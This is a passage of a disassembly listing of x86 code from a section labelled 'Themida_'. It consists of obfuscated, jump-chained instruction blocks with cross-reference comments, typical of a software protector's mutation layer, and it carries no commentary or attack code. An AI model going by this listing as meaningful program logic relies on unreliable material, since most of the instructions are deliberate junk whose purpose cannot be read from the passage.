edx, 50567795h jmp loc_563F25 ; --------------------------------------------------------------------------- loc_56056A: ; CODE XREF: Themida_:005649F7j mov esp, [esp] add dword ptr [esp], 75484780h sub dword ptr [esp], 62BE0454h sub dword ptr [esp], 65DF4179h add [esp], eax jmp loc_56C4A6 ; --------------------------------------------------------------------------- loc_56058A: ; CODE XREF: Themida_:0056CF8Ej not ebp inc ebp add ebp, 799F6882h jmp loc_56DC6F ; --------------------------------------------------------------------------- loc_560598: ; CODE XREF: Themida_:00562040j not ebp sub ebp, 39482CE2h shr ebp, 2 jmp loc_5686B8 ; --------------------------------------------------------------------------- loc_5605A8: ; CODE XREF: Themida_:0056C31Aj mov edi, esp push ebx jmp loc_566C62 ; --------------------------------------------------------------------------- loc_5605B0: ; CODE XREF: Themida_:0056DA84j mov esp, [esp] push edx push eax mov ah, 0CAh mov dh, 7Ch xor dh, ah pop eax add dh, 0CCh sub dh, 5Dh jmp loc_56B4CF ; --------------------------------------------------------------------------- loc_5605C7: ; CODE XREF: Themida_:0056471Bj add ecx, edx sub ecx, 2C556DC8h jmp loc_56EC67 ; --------------------------------------------------------------------------- loc_5605D4: ; CODE XREF: Themida_:0056B6CAj mov esi, 4 mov ecx, esi mov esi, [esp] add esp, 4 add dword ptr [esp+4], 574756FEh add [esp+4], ecx push esi mov esi, 574756FEh sub [esp+8], esi pop esi pop ecx pop edx push esi mov esi, 4 add edx, esi pop esi push esi push ecx push 21BCh mov [esp], ebx mov ebx, 15DD3551h neg ebx jmp loc_57247A ; --------------------------------------------------------------------------- loc_560619: ; CODE XREF: Themida_:005662FEj sub eax, ebp jmp loc_566601 ; --------------------------------------------------------------------------- loc_560620: ; CODE XREF: Themida_:00569DD0j xor eax, esi pop esi add edx, 3093118h sub edx, 7F8E53F1h add edx, 13E02C5Ch jmp loc_563CDD ; --------------------------------------------------------------------------- loc_56063A: ; CODE XREF: Themida_:0056AFB1j mov ecx, 4 add ebx, 73CF3258h add ebx, ecx sub ebx, 73CF3258h pop ecx jmp loc_561453 ; --------------------------------------------------------------------------- loc_560653: ; CODE XREF: Themida_:00568508j add ebx, ebp pop ebp mov ecx, [esp] jmp loc_563E4C ; --------------------------------------------------------------------------- loc_56065E: ; CODE XREF: Themida_:0057205Fj sub ecx, ebp pop ebp push ecx sub dword ptr [esp], 745E1A9Fh pop esi jmp loc_5679DA ; --------------------------------------------------------------------------- loc_56066F: ; CODE XREF: Themida_:00566C7Fj push edx mov edx, 1E5C4F09h push edi mov edi, 1EE361C0h not edi jmp loc_56AA22 ; --------------------------------------------------------------------------- loc_560682: ; CODE XREF: Themida_:0056130Ej mov [esp], cx jmp loc_5686F9 ; --------------------------------------------------------------------------- loc_56068B: ; CODE XREF: Themida_:005621C1j mov ecx, 37F94D6Fh jmp loc_55FD6B ; --------------------------------------------------------------------------- loc_560695: ; CODE XREF: Themida_:00566212j or eax, eax jz loc_563221 push dword ptr [edi+1Ch] jmp loc_56D4CA ; --------------------------------------------------------------------------- loc_5606A5: ; CODE XREF: Themida_:0056B733j pop esp sub ebx, 4 jmp loc_5727C8 ; --------------------------------------------------------------------------- loc_5606AE: ; CODE XREF: Themida_:0056CFF9j mov [esp], ebx sub esp, 4 push esp jmp loc_56E04E ; --------------------------------------------------------------------------- loc_5606BA: ; CODE XREF: Themida_:0055F3DDj sub ebp, 0F7840C89h jmp loc_56391B ; --------------------------------------------------------------------------- loc_5606C5: ; CODE XREF: Themida_:0056CE05j neg ecx or ecx, 9F421A1h push 1D30h mov [esp], ebp jmp loc_56FBBD ; --------------------------------------------------------------------------- loc_5606DA: ; CODE XREF: Themida_:005666BEj push edx mov edx, 2EDF7061h sub edx, 9A3194E1h sub esi, 9580001h jmp loc_568CA3 ; --------------------------------------------------------------------------- loc_5606F1: ; CODE XREF: Themida_:00564234j push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_56C631 ; --------------------------------------------------------------------------- loc_560706: ; CODE XREF: Themida_:00562B18j pop esi jmp loc_56CF2B ; --------------------------------------------------------------------------- loc_56070C: ; CODE XREF: Themida_:0056F19Dj add esp, 4 push 3384h mov [esp], esi jmp loc_568349 ; --------------------------------------------------------------------------- loc_56071C: ; CODE XREF: Themida_:0055EB0Fj add eax, 15715BC4h add eax, 0CAB36A9h mov esi, [esp] add esp, 4 sub eax, ebp push ebp mov ebp, 43024D57h sub eax, ebp pop ebp jmp loc_568700 ; --------------------------------------------------------------------------- loc_56073C: ; CODE XREF: Themida_:00566BE4j pop esp mov [esp], eax mov eax, 591D292Ah jmp loc_5673CF ; --------------------------------------------------------------------------- loc_56074A: ; CODE XREF: Themida_:00562F93j add esp, 4 jmp loc_56A364 ; --------------------------------------------------------------------------- loc_560752: ; CODE XREF: Themida_:005722D7j shl eax, 1 xor eax, 0FDABFFC2h xor edx, eax pop eax add ecx, edx pop edx sub ecx, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_564696 ; --------------------------------------------------------------------------- loc_560770: ; CODE XREF: Themida_:0056116Dj mov [esp], ecx jmp loc_564F4D ; --------------------------------------------------------------------------- loc_560778: ; CODE XREF: Themida_:0056150Cj mov [esp], ebp jmp loc_566029 ; --------------------------------------------------------------------------- loc_560780: ; CODE XREF: Themida_:00569A7Fj pop ebp mov eax, [esp] jmp loc_56ADDF ; --------------------------------------------------------------------------- loc_560789: ; CODE XREF: Themida_:0056E92Aj add edx, ebp add edx, 728E3D8Ch jmp loc_5680D1 ; --------------------------------------------------------------------------- loc_560796: ; CODE XREF: Themida_:0056FFCDj mov [esp], eax push ebp mov ebp, 111510F0h add ebp, 503D0C2Bh push eax jmp loc_56021B ; --------------------------------------------------------------------------- loc_5607AB: ; CODE XREF: Themida_:00562408j mov edx, 1B53E9Eh jmp loc_569752 ; --------------------------------------------------------------------------- loc_5607B5: ; CODE XREF: Themida_:0056A8A0j neg eax push edx jmp loc_5627C8 ; --------------------------------------------------------------------------- loc_5607BD: ; CODE XREF: Themida_:00569154j add eax, ebx push ebp push esi push 0A947C1Dh pop esi jmp loc_5714EE ; --------------------------------------------------------------------------- loc_5607CC: ; CODE XREF: Themida_:00564DE2j mov ebx, [esp] add esp, 4 push ebx mov bh, 0BAh neg bh add bh, 0ADh or al, bh pop ebx xor al, 7Dh sub cl, al pop eax jmp loc_56B6A1 ; --------------------------------------------------------------------------- loc_5607EA: ; CODE XREF: Themida_:0056D812j mov edx, esp add edx, 4 push ebx push edx push eax jmp loc_56283A ; --------------------------------------------------------------------------- mov ax, [esp] push ecx mov ecx, esp push 4F1Ah mov [esp], eax mov eax, 7ECF652Ah jmp loc_56CF45 ; --------------------------------------------------------------------------- loc_560813: ; CODE XREF: Themida_:0056A763j mov edx, [esp] add esp, 4 push ebx push 6763h mov [esp], ebp jmp loc_56B7CD ; --------------------------------------------------------------------------- loc_560827: ; CODE XREF: Themida_:005688D2j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] or eax, eax jz loc_564B49 push 5D26h mov [esp], ebx push eax mov eax, 6367798Ch jmp loc_562195 ; --------------------------------------------------------------------------- push dword ptr [edi+2Ch] jmp loc_55F322 ; --------------------------------------------------------------------------- loc_560856: ; CODE XREF: Themida_:0056C483j mov edi, esp add edi, 4 push ebx mov ebx, 2 add edi, ebx pop ebx xchg edi, [esp] mov esp, [esp] jmp loc_56E454 ; --------------------------------------------------------------------------- loc_560872: ; CODE XREF: Themida_:0055E08Cj push ecx mov ecx, 33E5FECh add edi, ecx mov ecx, [esp] add esp, 4 push esi push edx push 6174155Eh pop edx xor edx, 57FDBFFDh jmp loc_568CE2 ; --------------------------------------------------------------------------- loc_560896: ; CODE XREF: Themida_:0055EDE5j dec esi jmp loc_568045 ; --------------------------------------------------------------------------- loc_56089C: ; CODE XREF: Themida_:0056F9C7j push ecx mov ch, 1Ch add ch, 1Eh sub bl, ch pop ecx inc bl jmp loc_55E38F ; --------------------------------------------------------------------------- loc_5608AC: ; CODE XREF: Themida_:00565A68j sub ebx, 52EB562Ch jmp loc_572511 ; --------------------------------------------------------------------------- loc_5608B7: ; CODE XREF: Themida_:0056D2C8j xchg edx, [esp] jmp loc_56BA2E ; --------------------------------------------------------------------------- loc_5608BF: ; CODE XREF: Themida_:005670E0j push ecx mov ecx, 58882B76h shr ecx, 8 jmp loc_56BD12 ; --------------------------------------------------------------------------- loc_5608CD: ; CODE XREF: Themida_:0055FFC8j add esp, 4 push 3E66h mov [esp], ebp mov ebp, 2 add ecx, ebp pop ebp xor ecx, [esp] jmp loc_55EBFF ; --------------------------------------------------------------------------- loc_5608E8: ; CODE XREF: Themida_:00562F88j sub esp, 4 mov [esp], edi push eax jmp loc_56D400 ; --------------------------------------------------------------------------- loc_5608F7: ; CODE XREF: Themida_:0056CC00j mov esi, 0D355423h or esi, 259A7F05h jmp loc_56CEB6 ; --------------------------------------------------------------------------- loc_560907: ; CODE XREF: Themida_:005690CBj pop esp jmp loc_5715CB ; --------------------------------------------------------------------------- loc_56090D: ; CODE XREF: Themida_:00565866j pop dword ptr [esp] pop esp push ebp not dword ptr [esp] mov ebp, [esp] add esp, 4 push ebx mov ebx, 1E941F14h shl ebx, 2 and ebx, 36B072BDh jmp loc_56CAE4 ; --------------------------------------------------------------------------- loc_560932: ; CODE XREF: Themida_:0056A2F5j push ecx mov ch, 44h xor ch, 0ABh jmp loc_5722CA ; --------------------------------------------------------------------------- loc_56093D: ; CODE XREF: Themida_:005664ABj shl edi, 4 jmp loc_56FF86 ; --------------------------------------------------------------------------- loc_560945: ; CODE XREF: Themida_:0056D7FEj sub ebx, ebp pop ebp push edi mov edi, 166F5AF4h add ebx, edi jmp loc_56B6EB ; --------------------------------------------------------------------------- loc_560955: ; CODE XREF: Themida_:0055E79Aj add eax, 68526BF7h add eax, 645E5104h jmp loc_569B2D ; --------------------------------------------------------------------------- loc_560964: ; CODE XREF: Themida_:0057213Aj push ebx mov ebx, 0E4C1F025h xor eax, ebx pop ebx add edx, 5B5A2E78h add edx, 35386438h add edx, 3D422359h jmp loc_566577 ; --------------------------------------------------------------------------- loc_560984: ; CODE XREF: Themida_:005665CBj add ecx, 535A25E9h add ecx, edx push ebx mov ebx, 535A25E9h sub ecx, ebx pop ebx pop edx jmp loc_5635A3 ; --------------------------------------------------------------------------- loc_56099B: ; CODE XREF: Themida_:00569053j push ebp jmp loc_561CE8 ; --------------------------------------------------------------------------- loc_5609A1: ; CODE XREF: Themida_:00562105j xchg edi, ebp pop edi push edi mov edi, 3D206EF3h inc edi xor edi, 17B96810h jmp loc_560B5B ; --------------------------------------------------------------------------- loc_5609B6: ; CODE XREF: Themida_:00570F21j sub esp, 4 mov [esp], ebp mov ebp, 0 jmp loc_568397 ; --------------------------------------------------------------------------- loc_5609C9: ; CODE XREF: Themida_:0056B86Fj or [edi+1Ch], eax mov eax, [esp] push ecx push 6629h mov [esp], esp add dword ptr [esp], 4 jmp loc_567EC1 ; --------------------------------------------------------------------------- loc_5609E4: ; CODE XREF: Themida_:00565809j add ebx, esi pop esi add ebp, ebx mov ebx, [esp] add esp, 4 jmp loc_57106A ; --------------------------------------------------------------------------- loc_5609F4: ; CODE XREF: Themida_:005642A3j add edi, 4C996DEDh or edi, 2E154B6Fh add edi, 0D0C80485h jmp loc_56638E ; --------------------------------------------------------------------------- loc_560A0B: ; CODE XREF: Themida_:00563350j xor esi, edi pop edi add eax, esi jmp loc_5621C6 ; --------------------------------------------------------------------------- loc_560A15: ; CODE XREF: Themida_:005662ACj push dword ptr [esp] mov eax, [esp] add esp, 4 push eax jmp loc_56E4C7 ; --------------------------------------------------------------------------- loc_560A24: ; CODE XREF: Themida_:00564BDBj sub esp, 4 mov [esp], ebx push ecx mov ch, 0A6h jmp loc_5633F5 ; --------------------------------------------------------------------------- loc_560A32: ; CODE XREF: Themida_:0056CB0Ej push edi jmp loc_56AB01 ; --------------------------------------------------------------------------- loc_560A38: ; CODE XREF: Themida_:00572171j push edx mov edx, 4 add [esp+4], edx pop edx pop esi jmp loc_56AEAB ; --------------------------------------------------------------------------- loc_560A49: ; CODE XREF: Themida_:0056B7ECj mov ecx, edi mov edi, [esp] add esp, 4 add edx, ecx pop ecx add edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_566B76 ; --------------------------------------------------------------------------- loc_560A65: ; CODE XREF: Themida_:0056B9DCj and ecx, esi mov esi, [esp] jmp loc_56DAAC ; --------------------------------------------------------------------------- loc_560A6F: ; CODE XREF: Themida_:005674CBj push 4C98h mov [esp], esi push eax jmp loc_55F5F5 ; --------------------------------------------------------------------------- loc_560A7D: ; CODE XREF: Themida_:005649C3j push 19CDh mov [esp], ebp mov ebp, 26601889h push edi mov edi, 0 add edi, 4603C81h jmp loc_5620FD ; --------------------------------------------------------------------------- loc_560A9B: ; CODE XREF: Themida_:0055F116j sub ebp, 4C68A1E2h xor ecx, ebp push dword ptr [esp] pop ebp push eax mov eax, esp add eax, 4 jmp loc_56D60E ; --------------------------------------------------------------------------- loc_560AB4: ; CODE XREF: Themida_:0055F0FFj pop ecx push ebx push eax mov eax, 59E84811h mov ebx, eax pop eax sub edx, 62D2128Ch add edx, ebx push edi jmp loc_56608B ; --------------------------------------------------------------------------- loc_560ACD: ; CODE XREF: Themida_:00563567j add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], ebx push eax jmp loc_55FD05 ; --------------------------------------------------------------------------- loc_560AEB: ; CODE XREF: Themida_:0055EDC8j sub edx, 7A32616Ah pop eax add edx, ecx add edx, 75946155h pop ecx jmp loc_55F8BA ; --------------------------------------------------------------------------- loc_560B00: ; CODE XREF: Themida_:00560D19j neg ebx add ebx, 5C3F51A5h and ebx, 196243E1h not ebx jmp loc_561DB1 ; --------------------------------------------------------------------------- loc_560B15: ; CODE XREF: Themida_:0056C062j push edi mov edi, 27FC34ECh push ebx mov ebx, 5D4E03FCh inc ebx shr ebx, 4 and ebx, 637B6518h xor ebx, 53B3328Fh jmp loc_562162 ; --------------------------------------------------------------------------- loc_560B36: ; CODE XREF: Themida_:00569FE0j pop esi add edi, 10276F48h push eax mov eax, 0C7A01CA4h sub edi, eax pop eax sub [edx+38h], edi pop edi xchg esi, [edx+38h] dec esi jmp loc_565C81 ; --------------------------------------------------------------------------- loc_560B53: ; CODE XREF: Themida_:0056888Ej add esp, 4 jmp loc_55F0E4 ; --------------------------------------------------------------------------- loc_560B5B: ; CODE XREF: Themida_:005609B1j push eax jmp loc_56B695 ; --------------------------------------------------------------------------- loc_560B61: ; CODE XREF: Themida_:0056B563j mov eax, esp push ebp mov ebp, 4 add eax, ebp pop ebp add eax, 4 jmp loc_570499 ; --------------------------------------------------------------------------- loc_560B76: ; CODE XREF: Themida_:0056CA17j mov ebx, [esp] add esp, 4 xchg eax, edx jmp loc_562AC9 ; --------------------------------------------------------------------------- loc_560B82: ; CODE XREF: Themida_:005631B7j pop eax jmp loc_5673D8 ; --------------------------------------------------------------------------- loc_560B88: ; CODE XREF: Themida_:00563272j push ecx mov ecx, 184A46C2h jmp loc_564072 ; --------------------------------------------------------------------------- loc_560B93: ; CODE XREF: Themida_:00569AFCj add ebp, edx add ebp, 0D4F6AC1h push dword ptr [esp] pop edx push eax mov eax, esp push ebp push eax mov eax, 427248B7h mov ebp, eax pop eax jmp loc_560FA5 ; --------------------------------------------------------------------------- loc_560BB1: ; CODE XREF: Themida_:00565CBFj pop eax xor ebp, 3EC62BB2h sub eax, ebp jmp loc_5716F2 ; --------------------------------------------------------------------------- loc_560BBF: ; CODE XREF: Themida_:00564183j xor eax, ecx sub esp, 4 mov [esp], ebp push 1A62h jmp loc_568D82 ; --------------------------------------------------------------------------- loc_560BD1: ; CODE XREF: Themida_:0056DA13j add edi, 71157558h add edi, ecx sub edi, 71157558h push ebp mov ebp, 31C0155Eh inc ebp jmp loc_56F39B ; --------------------------------------------------------------------------- loc_560BEB: ; CODE XREF: Themida_:00565917j add ebp, 4 add ebp, 4 jmp loc_561200 ; --------------------------------------------------------------------------- loc_560BF9: ; CODE XREF: Themida_:005636DCj sub ax, 3B05h push di mov di, 60AEh sub ax, di pop di sub ax, cx add ax, 60AEh add ax, 3B05h jmp loc_56AE14 ; --------------------------------------------------------------------------- loc_560C18: ; CODE XREF: Themida_:00565BA2j pop edx mov eax, [esp] add esp, 4 mov ch, [esp+2] mov [esp+2], bh mov bx, [esp] push esi mov esi, esp add esi, 4 add esi, 2 jmp loc_55EF91 ; --------------------------------------------------------------------------- loc_560C3F: ; CODE XREF: Themida_:00569A46j mov [esp], ecx mov ecx, 4 push ecx mov esi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_572064 ; --------------------------------------------------------------------------- loc_560C63: ; CODE XREF: Themida_:00562A01j pop edx push edx push esp pop edx push 613h jmp loc_55ED18 ; --------------------------------------------------------------------------- loc_560C71: ; CODE XREF: Themida_:0056D7E7j mov ebx, 63396049h shl ebx, 5 or ebx, 3F5E1BADh sub ebx, 7F7E1BABh sub ecx, 650A0661h jmp loc_563F60 ; --------------------------------------------------------------------------- loc_560C90: ; CODE XREF: Themida_:00570AB2j mov [esp], ecx jmp loc_56DDCA ; --------------------------------------------------------------------------- loc_560C98: ; CODE XREF: Themida_:00560F64j sub esi, edx jmp loc_55F62E ; --------------------------------------------------------------------------- loc_560C9F: ; CODE XREF: Themida_:005696D6j and al, ch jmp loc_55F0DB ; --------------------------------------------------------------------------- loc_560CA6: ; CODE XREF: Themida_:00561DB2j mov edx, 64F751E7h shl edx, 4 push ebp mov ebp, 0C472A4h or edx, ebp pop ebp xor edx, 0A868C10Fh xor ebx, edx pop edx add edx, ebx pop ebx push 4F42h jmp loc_5611AF ; --------------------------------------------------------------------------- loc_560CCD: ; CODE XREF: Themida_:005628C3j pop esi add esp, 4 add esp, 4 pop ebp not ebp push esi push ebp pop esi pop ebp jmp loc_56F12E ; --------------------------------------------------------------------------- loc_560CE3: ; CODE XREF: Themida_:0056C2A4j add edi, 30EA16A0h sub edi, 306E31C1h mov eax, [esp] push 5D1Dh jmp loc_567413 ; --------------------------------------------------------------------------- loc_560CFC: ; CODE XREF: Themida_:0055F24Bj add esi, 0C1477BFh jmp loc_562F98 ; --------------------------------------------------------------------------- loc_560D07: ; CODE XREF: Themida_:0056398Dj pop dword ptr [esp] push 2E27h jmp loc_55E551 ; --------------------------------------------------------------------------- loc_560D14: ; CODE XREF: Themida_:0056A321j mov ebx, 5D477D9Bh jmp loc_560B00 ; --------------------------------------------------------------------------- loc_560D1E: ; CODE XREF: Themida_:00568AB6j mov [esp], eax mov eax, esp push ebx mov ebx, 733C33A6h neg ebx add ebx, 179151AAh add ebx, 13ED2A8Dh sub ebx, 0B842488Dh add eax, ebx jmp loc_5688ED ; --------------------------------------------------------------------------- loc_560D44: ; CODE XREF: Themida_:0056309Fj sub al, 0F0h add al, 0FFh dec al sub al, 0C5h add bl, 60h add bl, al sub bl, 60h jmp loc_565467 ; --------------------------------------------------------------------------- mov ax, [esp] push ebp mov ebp, esp jmp loc_55E2FD ; --------------------------------------------------------------------------- loc_560D65: ; CODE XREF: Themida_:00561B8Cj mov esi, 34C45E4Bh sub esi, 0C583FF52h add ebx, 5831B45h sub ebx, esi jmp loc_561C7F ; --------------------------------------------------------------------------- loc_560D7D: ; CODE XREF: Themida_:0056989Ej mov cl, dl jmp loc_562D8D ; --------------------------------------------------------------------------- loc_560D84: ; CODE XREF: Themida_:0055D97Dj jmp loc_55D86D ; --------------------------------------------------------------------------- loc_560D89: ; CODE XREF: Themida_:00560297j pop eax sub bl, cl pop ecx sub bl, al jmp loc_568B08 ; --------------------------------------------------------------------------- loc_560D94: ; CODE XREF: Themida_:0055DA98j sub esi, ecx add esi, 68EE38C3h pop ecx xor eax, esi pop esi mov edi, eax mov eax, [esp] add esp, 4 add ebx, edi mov edi, [esp] add esp, 4 jmp loc_56C826 ; --------------------------------------------------------------------------- loc_560DBB: ; CODE XREF: Themida_:0056D4D6j mov [esp], ecx mov ecx, esp add ecx, 4 push esi sub esp, 4 mov [esp], edx push ecx mov ecx, 6270C8Ch push eax mov eax, 7FE30BCFh add ecx, eax jmp loc_567F5F ; --------------------------------------------------------------------------- loc_560DE0: ; CODE XREF: Themida_:0056987Ej mov ecx, 0 add ecx, ebx jmp loc_56E14E ; --------------------------------------------------------------------------- loc_560DEC: ; CODE XREF: Themida_:00564978j push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] push 7E27h jmp loc_565037 ; --------------------------------------------------------------------------- loc_560E02: ; CODE XREF: Themida_:005712A1j mov edi, 5EF473F0h and ebp, edi pop edi xor ebp, 35FF2F23h sub ebp, 1BE452FFh sub ebp, 1C1B1B40h add edi, 0A7E12FDh jmp loc_568099 ; --------------------------------------------------------------------------- loc_560E27: ; CODE XREF: Themida_:00561A60j push ebp push dword ptr [esp] pop ebx add esp, 4 jmp loc_56FAE5 ; --------------------------------------------------------------------------- loc_560E37: ; CODE XREF: Themida_:0056F05Ej mov esp, [esp] mov [esp], ax jmp loc_55D86D ; --------------------------------------------------------------------------- loc_560E43: ; CODE XREF: Themida_:00569633j add ebx, 4 jmp loc_56030E ; --------------------------------------------------------------------------- loc_560E4E: ; CODE XREF: Themida_:005652E9j mov eax, [esp] push 478Ch mov [esp], ebx jmp loc_562032 ; --------------------------------------------------------------------------- loc_560E5E: ; CODE XREF: Themida_:00566415j jmp loc_55D86D ; --------------------------------------------------------------------------- loc_560E63: ; CODE XREF: Themida_:00564EEDj add esp, 4 sub esp, 4 mov [esp], ebp mov ebp, 3FC40C99h jmp loc_56D788 ; --------------------------------------------------------------------------- loc_560E7C: ; CODE XREF: Themida_:0056FD08j mov eax, esi jmp loc_5667D5 ; --------------------------------------------------------------------------- loc_560E83: ; CODE XREF: Themida_:00569251j add [esp+4], edi pop edi jmp loc_56EEC1 ; --------------------------------------------------------------------------- loc_560E8D: ; CODE XREF: Themida_:00569AF1j shl dh, 4 shr dh, 1 jmp loc_56DAF6 ; --------------------------------------------------------------------------- loc_560E97: ; CODE XREF: Themida_:0056A24Dj mov esi, eax pop eax sub esi, edi pop edi jmp loc_568F44 ; --------------------------------------------------------------------------- loc_560EA2: ; CODE XREF: Themida_:00566688j push ebp mov ebp, 4 add [esp+4], ebp jmp loc_56175B ; --------------------------------------------------------------------------- mov ax, [esp] push 74EBh jmp loc_571F7B ; --------------------------------------------------------------------------- loc_560EBF: ; CODE XREF: Themida_:0056FF9Aj sub esi, 57B609E7h mov ecx, [esp] jmp loc_56B00D ; --------------------------------------------------------------------------- loc_560ECD: ; CODE XREF: Themida_:0056C104j pop ebx pop edx push esi mov esi, 74306C32h shl esi, 4 and esi, 2EDA2C01h not esi add esi, 2020005h sub edx, 21D237B0h add edx, esi add edx, 21D237B0h mov esi, [esp] add esp, 4 add edx, 4 xchg edx, [esp] pop esp add esi, 65203F30h not esi inc esi push 705Bh mov [esp], ebp mov ebp, 737D8DFDh add esi, 15E7367Bh add esi, ebp jmp loc_56C9F8 ; --------------------------------------------------------------------------- loc_560F27: ; CODE XREF: Themida_:0055F44Ej add eax, 4 jmp loc_56ED31 ; --------------------------------------------------------------------------- loc_560F31: ; CODE XREF: Themida_:00571840j push edx mov edx, 3B8B19DAh mov ebx, 7C8901C3h xor ebx, edx jmp loc_566037 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], ax pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_560F53: ; CODE XREF: Themida_:0055F84Fj add bl, 18h jmp loc_570A50 ; --------------------------------------------------------------------------- loc_560F5B: ; CODE XREF: Themida_:0055FEC3j xor ebp, 25E8AC01h mov edx, ebp pop ebp jmp loc_560C98 ; --------------------------------------------------------------------------- loc_560F69: ; CODE XREF: Themida_:00568CB3j sub esp, 4 mov [esp], ebx push 3C526B25h mov ebx, [esp] add esp, 4 mov ebp, 30AEB25Ah add ebp, ebx pop ebx shl ebp, 7 jmp loc_56BEBA ; --------------------------------------------------------------------------- loc_560F90: ; CODE XREF: Themida_:00563859j push 964h jmp loc_56353C ; --------------------------------------------------------------------------- loc_560F9A: ; CODE XREF: Themida_:0056DD6Dj xor ecx, 4C346E1Dh jmp loc_56A791 ; --------------------------------------------------------------------------- loc_560FA5: ; CODE XREF: Themida_:00560BACj or ebp, 3E8858E2h push eax jmp loc_56C584 ; --------------------------------------------------------------------------- loc_560FB1: ; CODE XREF: Themida_:0056AFA6j push edx mov dh, 7Fh or dh, 2Eh shl dh, 1 jmp loc_5682CB ; --------------------------------------------------------------------------- loc_560FBE: ; CODE XREF: Themida_:00568B03j add ecx, 4 jmp loc_56DAD8 ; --------------------------------------------------------------------------- loc_560FC6: ; CODE XREF: Themida_:0055F1BEj add esi, ecx pop ecx pop ecx inc esi jmp loc_55EA01 ; --------------------------------------------------------------------------- loc_560FD0: ; CODE XREF: Themida_:0056825Aj add eax, ebp sub eax, 4B810759h pop ebp sub eax, 3C68318Eh push ebx mov ebx, 2B3A52F3h not ebx and ebx, 50130FCEh and ebx, 4FEA3F2Eh xor ebx, 25BE2DBDh jmp loc_56A63D ; --------------------------------------------------------------------------- loc_560FFC: ; CODE XREF: Themida_:0056B553j add dword ptr [esp], 4 push dword ptr [esp] pop esi push eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], ebx mov ebx, 4 add eax, ebx pop ebx push ebp mov ebp, 4 add eax, ebp mov ebp, [esp] push ecx mov ecx, esp jmp loc_568A62 ; --------------------------------------------------------------------------- loc_561042: ; CODE XREF: Themida_:0056EF51j sub al, 0 mov ch, al pop eax sub ch, 0BEh shr ch, 4 jmp loc_569890 ; --------------------------------------------------------------------------- loc_561052: ; CODE XREF: Themida_:00562633j dec eax sub esp, 4 mov [esp], edi mov edi, 96229CADh jmp loc_567B13 ; --------------------------------------------------------------------------- loc_561066: ; CODE XREF: Themida_:0056D655j pop eax push ecx push ebx mov bl, 0B5h mov ch, 0EDh add ch, bl jmp loc_55F97B ; --------------------------------------------------------------------------- loc_561074: ; CODE XREF: Themida_:0056392Cj sub ecx, edx jmp loc_567056 ; --------------------------------------------------------------------------- loc_56107B: ; CODE XREF: Themida_:0056D690j add eax, 4 xchg eax, [esp] pop esp pop dword ptr [esp] mov esp, [esp] jmp loc_56640E ; --------------------------------------------------------------------------- loc_56108F: ; CODE XREF: Themida_:00569EEAj dec edi add edi, 3936C08Ah add ebx, edi pop edi sub ebx, 9C320EDh add ebx, edi add ebx, 9C320EDh push edx push edi jmp loc_56D51A ; --------------------------------------------------------------------------- loc_5610AE: ; CODE XREF: Themida_:0056C173j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push ebp push dword ptr [esp+4] push dword ptr [esp] push dword ptr [esp] pop ebp push eax mov eax, esp add eax, 4 push ecx jmp loc_55DE9C ; --------------------------------------------------------------------------- loc_5610DA: ; CODE XREF: Themida_:0055FDEAj mov ebp, 549C415Bh add eax, ebp pop ebp sub esp, 4 mov [esp], ecx push 32404B5Eh pop ecx xor eax, ecx mov ecx, [esp] add esp, 4 add ecx, eax mov eax, [esp] add esp, 4 jmp loc_56A861 ; --------------------------------------------------------------------------- loc_561106: ; CODE XREF: Themida_:00567FBFj mov ebp, 26E869E5h not ebp not ebp neg ebp jmp loc_56CEA8 ; --------------------------------------------------------------------------- loc_561116: ; CODE XREF: Themida_:00569C94j mov esi, edx mov edx, [esp] add esp, 4 jmp loc_568A8E ; --------------------------------------------------------------------------- loc_561126: ; CODE XREF: Themida_:00561FA5j xor edx, [esp] mov esp, [esp] jmp loc_56539F ; --------------------------------------------------------------------------- loc_561131: ; CODE XREF: Themida_:00566458j pop esp movzx eax, al push dword ptr [edi+eax*4] sub dword ptr [esp], 5375642Ah pop eax push edi mov edi, 0C9F1A47h push ebx mov ebx, 0FFFFFFFFh add edi, ebx pop ebx xor edi, 6798093Bh inc edi xor edi, 2677727Ah or edi, 289A512Eh sub edi, 1A850D04h push 3467h jmp loc_560770 ; --------------------------------------------------------------------------- loc_561172: ; CODE XREF: Themida_:00566BFAj not bl shl bl, 4 jmp loc_56B509 ; --------------------------------------------------------------------------- loc_56117C: ; CODE XREF: Themida_:005619EDj mov [esp], edx jmp loc_561880 ; --------------------------------------------------------------------------- loc_561184: ; CODE XREF: Themida_:0055F3AAj pop edi push esi push edx mov edx, 6B57728Eh or edx, 1A4B7637h shl edx, 2 not edx dec edx add edx, 94214E4h push 7047h jmp loc_56E942 ; --------------------------------------------------------------------------- loc_5611A8: ; CODE XREF: Themida_:0056949Cj mov ch, 0CAh jmp loc_566CEF ; --------------------------------------------------------------------------- loc_5611AF: ; CODE XREF: Themida_:00560CC8j mov [esp], ebx mov ebx, 4 add edx, 5201651Fh sub edx, ebx sub edx, 5201651Fh pop ebx jmp loc_56A906 ; --------------------------------------------------------------------------- loc_5611CB: ; CODE XREF: Themida_:00563069j mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_56F248 ; --------------------------------------------------------------------------- loc_5611E1: ; CODE XREF: Themida_:0056B840j xchg ebx, [esp] push 0 sub [esp], ebx pop ebx xchg ebx, [esp] pop edx shr edx, 2 not edx push 63ABh jmp loc_562F16 ; --------------------------------------------------------------------------- loc_561200: ; CODE XREF: Themida_:00560BF4j xchg ebp, [esp] jmp loc_568F9D ; --------------------------------------------------------------------------- loc_561208: ; CODE XREF: Themida_:00568E8Bj sub ecx, ebx add ecx, 71AF1B97h pop ebx xor ecx, 6112268Ch add ecx, 71511A6Fh push ebx mov ebx, 6BBE2D57h shr ebx, 1 shl ebx, 6 add ebx, 0B59C5FE6h inc ebx and ebx, 